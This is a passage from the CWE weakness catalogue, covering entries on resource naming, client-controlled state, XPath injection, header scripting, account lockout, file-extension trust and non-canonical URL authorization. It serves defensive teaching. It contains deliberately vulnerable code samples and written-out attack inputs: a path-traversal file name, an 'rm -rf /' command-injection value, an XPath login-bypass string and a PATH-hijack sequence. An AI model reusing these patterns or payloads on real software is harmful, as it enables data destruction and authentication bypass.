Phase: Architecture and Design

Do not use standard weak security questions and use several security questions.

Phase: Architecture and Design

Make sure that there is throttling on the number of incorrect answers to a security question. Disable the password recovery functionality after a certain (small) number of incorrect guesses.

Phase: Architecture and Design

Require that the user properly answers the security question prior to resetting their password and sending the new password to the e-mail address of record.

Phase: Architecture and Design

Never allow the user to control what e-mail address the new password will be sent to in the password recovery mechanism.

Phase: Architecture and Design

Assign a new temporary password rather than revealing the original password.

Demonstrative Examples

Example 1:

A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2356
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	2410
MemberOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	2419
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	2457
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2515
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

Notes

Maintenance

This entry might be reclassified as a category or "loose composite," since it lists multiple specific errors that can make the mechanism weak. However, under view 1000, it could be a weakness under protection mechanism failure, although it is different from most PMF issues since it is related to a feature that is designed to bypass a protection mechanism (specifically, the lack of knowledge of a password).

Maintenance

This entry probably needs to be split; see extended description.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	49		Insufficient Password Recovery

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
50	Password Recovery Exploitation

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-641: Improper Restriction of Names for Files and Other Resources

Weakness ID : 641
Structure : Simple
Abstraction : Base

Description

The product constructs the name of a file or other resource using input from an upstream component, but it does not restrict or incorrectly restricts the resulting name.

Extended Description

This may produce resultant weaknesses. For instance, if the names of these resources contain scripting characters, it is possible that a script may get executed in the client's browser if the application ever displays the name of the resource on a dynamically generated web page. Alternately, if the resources are consumed by some application parser, a specially crafted name can exploit some vulnerability internal to the parser, potentially resulting in execution of arbitrary code on the server machine. The problems will vary based on the context of usage of such malformed resource names and whether vulnerabilities are present in or assumptions are made by the targeted technology that would make code execution possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	99	Improper Control of Resource Identifiers ('Resource Injection')	249

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2454

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2499
MemberOf	C	137	Data Neutralization Issues	2332
MemberOf	C	399	Resource Management Errors	2345

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *Execution of arbitrary code in the context of usage of the resources with dangerous names.*	
Confidentiality Availability	Read Application Data DoS: Crash, Exit, or Restart *Crash of the consumer code of these resources resulting in information leakage or denial of service.*	

Potential Mitigations

Phase: Architecture and Design

Do not allow users to control names of resources used on the server side.

Phase: Architecture and Design

Perform allowlist input validation at entry points and also before consuming the resources. Reject bad file names rather than trying to cleanse them.

Phase: Architecture and Design

Make sure that technologies consuming the resources are not vulnerable (e.g. buffer overflow, format string, etc.) in a way that would allow code execution if the name of the resource is malformed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2434
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2556

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

CWE-642: External Control of Critical State Data

Weakness ID : 642
Structure : Simple
Abstraction : Class

Description

The product stores security-critical state information about its users, or the product itself, in a location that is accessible to unauthorized actors.

Extended Description

If an attacker can modify the state information without detection, then it could be used to perform unauthorized actions or access unexpected resources, since the application programmer does not expect that the state can be changed.

State information can be stored in various locations such as a cookie, in a hidden web form field, input parameter or argument, an environment variable, a database record, within a settings file, etc. All of these locations have the potential to be modified by an attacker. When this state information is used to control security or determine resource usage, then it may create a vulnerability. For example, an application may perform authentication, then save the state in an "authenticated=true" cookie. An attacker may simply create this cookie in order to bypass the authentication.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1478
ParentOf	B	15	External Control of System or Configuration Setting	17
ParentOf	B	73	External Control of File Name or Path	133
ParentOf	B	426	Untrusted Search Path	1035
ParentOf	B	472	External Control of Assumed-Immutable Web Parameter	1131
ParentOf	B	565	Reliance on Cookies without Validation and Integrity Checking	1292

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2446

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Often)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *An attacker could potentially modify the state in malicious ways. If the state is related to the privileges or level of authentication that the user has, then state modification might allow the user to bypass authentication or elevate privileges.*	
Confidentiality	Read Application Data *The state variables may contain sensitive information that should not be known by the client.*	
Availability	DoS: Crash, Exit, or Restart *By modifying state variables, the attacker could violate the application's expectations for the contents of the state, leading to a denial of service due to an unexpected error condition.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Understand all the potential locations that are accessible to attackers. For example, some programmers assume that cookies and hidden form fields cannot be modified by an attacker, or they may not consider that environment variables can be modified before a privileged program is invoked.

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Store state information and sensitive data on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions. If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

Phase: Architecture and Design

Store state information on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. With a stateless protocol such as HTTP, use some frameworks can maintain the state for you. Examples include ASP.NET View State and the OWASP ESAPI Session Management feature. Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Demonstrative Examples

Example 1:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Example Language: Java *(Bad)*

```java
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
  Cookie c = cookies[i];
  if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
    authenticated = true;
  }
}
```

Example 2:

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

Example Language: Java *(Bad)*

```java
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

Example 3:

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

Example Language: Java *(Bad)*

```java
fis = new FileInputStream(cfg.getProperty("sub")+".txt");
```

```
amt = fis.read(arr);
out.println(arr);
```

Example 4:

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

Example Language: C *(Bad)*

```
#define DIR "/restricted/directory"
char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */
RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
...
```

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

Example Language: *(Attack)*

- The user sets the PATH to reference a directory under the attacker's control, such as "/my/dir/".
- The attacker creates a malicious program called "ls", and puts that program in /my/dir
- The user executes the program.
- When system() is executed, the shell consults the PATH to find the ls program
- The program finds the attacker's malicious program, "/my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin/".
- The program executes the attacker's malicious program with the raised privileges.

Example 5:

The following code segment implements a basic server that uses the "ls" program to perform a directory listing of the directory that is listed in the "HOMEDIR" environment variable. The code intends to allow the user to specify an alternate "LANG" environment variable. This causes "ls" to customize its output based on a given language, which is an important capability when supporting internationalization.

Example Language: Perl *(Bad)*

```
$ENV{"HOMEDIR"} = "/home/mydir/public/";
my $stream = AcceptUntrustedInputStream();
while (<$stream>) {
  chomp;
  if (/^ENV ([\w\_]+) (.*)/) {
    $ENV{$1} = $2;
  }
  elsif (/^QUIT/) { ... }
  elsif (/^LIST/) {
    open($fh, "/bin/ls -l $ENV{HOMEDIR}|");
    while (<$fh>) {
      SendOutput($stream, "FILEINFO: $_");
    }
    close($fh);
  }
}
```

The programmer takes care to call a specific "ls" program and sets the HOMEDIR to a fixed value. However, an attacker can use a command such as "ENV HOMEDIR /secret/directory" to specify an alternate directory, enabling a path traversal attack (CWE-22). At the same time, other attacks are enabled as well, such as OS command injection (CWE-78) by setting HOMEDIR to a value such as "/tmp; rm -rf /". In this case, the programmer never intends for HOMEDIR to be modified, so input validation for HOMEDIR is not the solution. A partial solution would be an allowlist that only allows the LANG variable to be specified in the ENV command. Alternately, assuming this is an authenticated user, the language could be stored in a local file so that no ENV command at all would be needed.

While this example may not appear realistic, this type of problem shows up in code fairly frequently. See CVE-1999-0073 in the observed examples for a real-world example with similar behaviors.

Observed Examples

Reference	Description
CVE-2005-2428	Mail client stores password hashes for unrelated accounts in a hidden form field. *https://www.cve.org/CVERecord?id=CVE-2005-2428*
CVE-2008-0306	Privileged program trusts user-specified environment variable to modify critical configuration settings. *https://www.cve.org/CVERecord?id=CVE-2008-0306*
CVE-1999-0073	Telnet daemon allows remote clients to specify critical environment variables for the server, leading to code execution. *https://www.cve.org/CVERecord?id=CVE-1999-0073*
CVE-2007-4432	Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable. *https://www.cve.org/CVERecord?id=CVE-2007-4432*
CVE-2006-7191	Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable. *https://www.cve.org/CVERecord?id=CVE-2006-7191*
CVE-2008-5738	Calendar application allows bypass of authentication by setting a certain cookie value to 1. *https://www.cve.org/CVERecord?id=CVE-2008-5738*
CVE-2008-5642	Setting of a language preference in a cookie enables path traversal attack. *https://www.cve.org/CVERecord?id=CVE-2008-5642*
CVE-2008-5125	Application allows admin privileges by setting a cookie value to "admin." *https://www.cve.org/CVERecord?id=CVE-2008-5125*
CVE-2008-5065	Application allows admin privileges by setting a cookie value to "admin." *https://www.cve.org/CVERecord?id=CVE-2008-5065*
CVE-2008-4752	Application allows admin privileges by setting a cookie value to "admin." *https://www.cve.org/CVERecord?id=CVE-2008-4752*
CVE-2000-0102	Shopping cart allows price modification via hidden form field. *https://www.cve.org/CVERecord?id=CVE-2000-0102*
CVE-2000-0253	Shopping cart allows price modification via hidden form field. *https://www.cve.org/CVERecord?id=CVE-2000-0253*
CVE-2008-1319	Server allows client to specify the search path, which can be modified to point to a program that the client has uploaded. *https://www.cve.org/CVERecord?id=CVE-2008-1319*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	752	2009 Top 25 - Risky Resource Management	750	2374
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2512
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Identifiers
31	Accessing/Intercepting/Modifying HTTP Cookies

References

[REF-528]OWASP. "Top 10 2007-Insecure Direct Object Reference". 2007. < http://www.owasp.org/index.php/Top_10_2007-A4 >.

[REF-529]"HMAC". 2011 August 8. Wikipedia. < https://en.wikipedia.org/wiki/HMAC >.2023-04-07.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')

Weakness ID : 643
Structure : Simple
Abstraction : Base

Description

The product uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.

Extended Description

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	91	XML Injection (aka Blind XPath Injection)	220
ChildOf	C	943	Improper Neutralization of Special Elements in Data Query Logic	1860

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2454

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *Controlling application flow (e.g. bypassing authentication).*	
Confidentiality	Read Application Data *The attacker could read restricted XML content.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Use parameterized XPath queries (e.g. using XQuery). This will help ensure separation between data plane and control plane.

Phase: Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XPath queries is safe in that context.

Demonstrative Examples

Example 1:

Consider the following simple XML document that stores authentication information and a snippet of Java code that uses XPath query to retrieve authentication information:

Example Language: XML *(Informative)*

```
<users>
  <user>
    <login>john</login>
    <password>abracadabra</password>
    <home_dir>/home/john</home_dir>
  </user>
  <user>
    <login>cbc</login>
    <password>1mgr8</password>
    <home_dir>/home/cbc</home_dir>
  </user>
</users>
```

The Java code used to retrieve the home directory based on the provided credentials is:

Example Language: Java *(Bad)*

```
XPath xpath = XPathFactory.newInstance().newXPath();
XPathExpression xlogin = xpath.compile("//users/user[login/text()='" + login.getUserName() + "' and password/text() = '" +
login.getPassword() + "']/home_dir/text()");
Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml"));
String homedir = xlogin.evaluate(d);
```

Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "' or ''='" the XPath expression now becomes

Example Language: *(Attack)*

```
//users/user[login/text()='john' or ''='' and password/text() = '' or ''='']/home_dir/text()
```

This lets user "john" login without a valid password, thus bypassing authentication.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	2410
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2434
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2506
MemberOf	V	1340	CISQ Data Protection Measures	1340	2611
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2511
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2556

Notes

Relationship

This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	39		XPath Injection
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-531]Web Application Security Consortium. "XPath Injection". < http://projects.webappsec.org/w/page/13247005/XPath%20Injection >.2023-04-07.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

Weakness ID : 644
Structure : Simple
Abstraction : Variant

Description

The product does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash.

Extended Description

An attacker may be able to conduct cross-site scripting and other attacks against users who have these components enabled.

If a product does not neutralize user controlled data being placed in the header of an HTTP response coming from the server, the header may contain a script that will get executed in the client's browser context, potentially resulting in a cross site scripting vulnerability or possibly an HTTP response splitting attack. It is important to carefully control data that is being placed both in HTTP response header and in the HTTP response body to ensure that no scripting syntax is present, taking various encodings into account.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	116	Improper Encoding or Escaping of Output	287

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *Run arbitrary code.*	
Confidentiality	Read Application Data *Attackers may be able to obtain sensitive information.*	

Potential Mitigations

Phase: Architecture and Design

Perform output validation in order to filter/escape/encode unsafe data that is being passed from the server in an HTTP response header.

Phase: Architecture and Design

Disable script execution functionality in the clients' browser.

Demonstrative Examples

Example 1:

In the following Java example, user-controlled data is added to the HTTP headers and returned to the client. Given that the data is not subject to neutralization, a malicious user may be able to inject dangerous scripting tags that will lead to script execution in the client browser.

Example Language: Java *(Bad)*

```
response.addHeader(HEADER_NAME, untrustedRawInputData);
```

Observed Examples

Reference	Description
CVE-2006-3918	Web server does not remove the Expect header from an HTTP request when it is reflected back in an error message, allowing a Flash SWF file to perform XSS attacks. *https://www.cve.org/CVERecord?id=CVE-2006-3918*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws	711	2357
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2434
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2511
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2553

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

CWE-645: Overly Restrictive Account Lockout Mechanism

Weakness ID : 645
Structure : Simple
Abstraction : Base

Description

The product contains an account lockout protection mechanism, but the mechanism is too restrictive and can be triggered too easily, which allows attackers to deny service to legitimate users by causing their accounts to be locked out.

Extended Description

Account lockout is a security feature often present in applications as a countermeasure to the brute force attack on the password based authentication mechanism of the system. After a certain number of failed login attempts, the users' account may be disabled for a certain period of time or until it is unlocked by an administrator. Other security events may also possibly trigger account lockout. However, an attacker may use this very security feature to deny service to legitimate system users. It is therefore important to ensure that the account lockout security mechanism is not overly restrictive.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	699

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1017	Lock Computer	2452

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2496
MemberOf	C	1216	Lockout Mechanism Errors	2499

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) *Users could be locked out of accounts.*	

Potential Mitigations

Phase: Architecture and Design

Implement more intelligent password throttling mechanisms such as those which take IP address into account, in addition to the login name.

Phase: Architecture and Design

Implement a lockout timeout that grows as the number of incorrect login attempts goes up, eventually resulting in a complete lockout.

Phase: Architecture and Design

Consider alternatives to account lockout that would still be effective against password brute force attacks, such as presenting the user machine with a puzzle to solve (makes it do some computation).

Demonstrative Examples

Example 1:

A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	2417
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
2	Inducing Account Lockout

CWE-646: Reliance on File Name or Extension of Externally-Supplied File

Weakness ID : 646
Structure : Simple
Abstraction : Variant

Description

The product allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion.

Extended Description

An application might use the file name or extension of a user-supplied file to determine the proper course of action, such as selecting the correct process to which control should be passed, deciding what data should be made available, or what resources should be allocated. If the attacker can cause the code to misclassify the supplied file, then the wrong action could occur. For example, an attacker could supply a file that ends in a ".php.gif" extension that appears to be a GIF image, but would be processed as PHP code. In extreme cases, code execution is possible, but the attacker could also cause exhaustion of resources, denial of service, exposure of debug or system data (including application source code), or being bound to a particular server side process. This weakness may be due to a vulnerability in any of the technologies used by the web and application servers, due to misconfiguration, or resultant from another flaw in the application itself.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	858

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *An attacker may be able to read sensitive data.*	
Availability	DoS: Crash, Exit, or Restart *An attacker may be able to cause a denial of service.*	
Access Control	Gain Privileges or Assume Identity *An attacker may be able to gain privileges.*	

Potential Mitigations

Phase: Architecture and Design

Make decisions on the server side based on file content and not on file name or extension.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2434
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2512
MemberOf	C	1411	Comprehensive Categorization: Insufficient Verification of Data Authenticity	1400	2559

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
209	XSS Using MIME Type Mismatch

CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions

Weakness ID : 647
Structure : Simple
Abstraction : Variant

Description

The product defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.

Extended Description

If an application defines policy namespaces and makes authorization decisions based on the URL, but it does not require or convert to a canonical URL before making the authorization decision, then it opens the application to attack. For example, if the application only wants to allow access to http://www.example.com/mypage, then the attacker might be able to bypass this restriction using equivalent URLs such as:

- http://WWW.EXAMPLE.COM/mypage
- http://www.example.com/%6Dypage (alternate encoding)
- http://192.168.1.1/mypage (IP address)
- http://www.example.com/mypage/ (trailing /)
- http://www.example.com:80/mypage

Therefore it is important to specify access control policy that is based on the path information in some canonical form with all alternate encodings rejected (which can be accomplished by a default deny rule).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	863	Incorrect Authorization	1796

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2446

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *An attacker may be able to bypass the authorization mechanism to gain access to the otherwise-protected URL.*	
Confidentiality	Read Files or Directories *If a non-canonical URL is used, the server may choose to return the contents of the file, instead of pre-processing the file (e.g. as a program).*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Make access control policy based on path information in canonical form. Use very restrictive regular expressions to validate that the path is in the expected form.

Phase: Architecture and Design

Reject all alternate path encodings that are not in the expected canonical form.

Demonstrative Examples

Example 1:

Example from CAPEC (CAPEC ID: 4, "Using Alternative IP Address Encodings"). An attacker identifies an application server that applies a security policy based on the domain and application name, so the access control policy covers authentication and authorization for anyone accessing http://example.domain:8080/application. However, by putting in the IP address of the host the application authentication and authorization controls may be bypassed http://192.168.0.1:8080/application. The attacker relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

